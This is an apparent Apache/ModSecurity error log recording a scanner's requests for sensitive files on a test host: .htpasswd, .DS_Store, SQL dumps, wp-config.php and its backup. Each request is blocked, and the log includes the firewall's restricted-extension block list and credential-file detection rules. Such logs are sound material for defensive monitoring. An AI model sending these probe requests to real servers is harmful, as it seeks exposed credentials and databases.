[Sun Mar 15 10:46:54.856226 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHQgAAAAA&quot;]
[Sun Mar 15 10:46:54.856348 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHQgAAAAA&quot;]
[Sun Mar 15 10:46:54.877828 2026] [authz_core:error] [pid 2708244] [client 185.177.72.49:29882] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Sun Mar 15 10:46:54.899537 2026] [authz_core:error] [pid 2708244] [client 185.177.72.49:29882] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htpasswd
[Sun Mar 15 10:46:54.988177 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHSAAAAAA&quot;]
[Sun Mar 15 10:46:54.988547 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHSAAAAAA&quot;]
[Sun Mar 15 10:46:54.988671 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHSAAAAAA&quot;]
[Sun Mar 15 10:46:55.010214 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHSQAAAAA&quot;]
[Sun Mar 15 10:46:55.010585 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHSQAAAAA&quot;]
[Sun Mar 15 10:46:55.010699 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHSQAAAAA&quot;]
[Sun Mar 15 10:46:55.032431 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHSgAAAAA&quot;]
[Sun Mar 15 10:46:55.032789 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHSgAAAAA&quot;]
[Sun Mar 15 10:46:55.032907 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHSgAAAAA&quot;]
[Sun Mar 15 10:46:55.054633 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHSwAAAAA&quot;]
[Sun Mar 15 10:46:55.054999 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHSwAAAAA&quot;]
[Sun Mar 15 10:46:55.055113 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHSwAAAAA&quot;]
[Sun Mar 15 10:46:55.076702 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sql.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTAAAAAA&quot;]
[Sun Mar 15 10:46:55.077067 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sql.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTAAAAAA&quot;]
[Sun Mar 15 10:46:55.077181 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sql.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTAAAAAA&quot;]
[Sun Mar 15 10:46:55.098979 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTQAAAAA&quot;]
[Sun Mar 15 10:46:55.099363 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTQAAAAA&quot;]
[Sun Mar 15 10:46:55.099502 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTQAAAAA&quot;]
[Sun Mar 15 10:46:55.121192 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTgAAAAA&quot;]
[Sun Mar 15 10:46:55.121570 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTgAAAAA&quot;]
[Sun Mar 15 10:46:55.121701 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old.sql&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTgAAAAA&quot;]
[Sun Mar 15 10:46:55.143738 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTwAAAAA&quot;]
[Sun Mar 15 10:46:55.143917 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTwAAAAA&quot;]
[Sun Mar 15 10:46:55.144053 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHTwAAAAA&quot;]
[Sun Mar 15 10:46:55.165686 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHUAAAAAA&quot;]
[Sun Mar 15 10:46:55.165910 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHUAAAAAA&quot;]
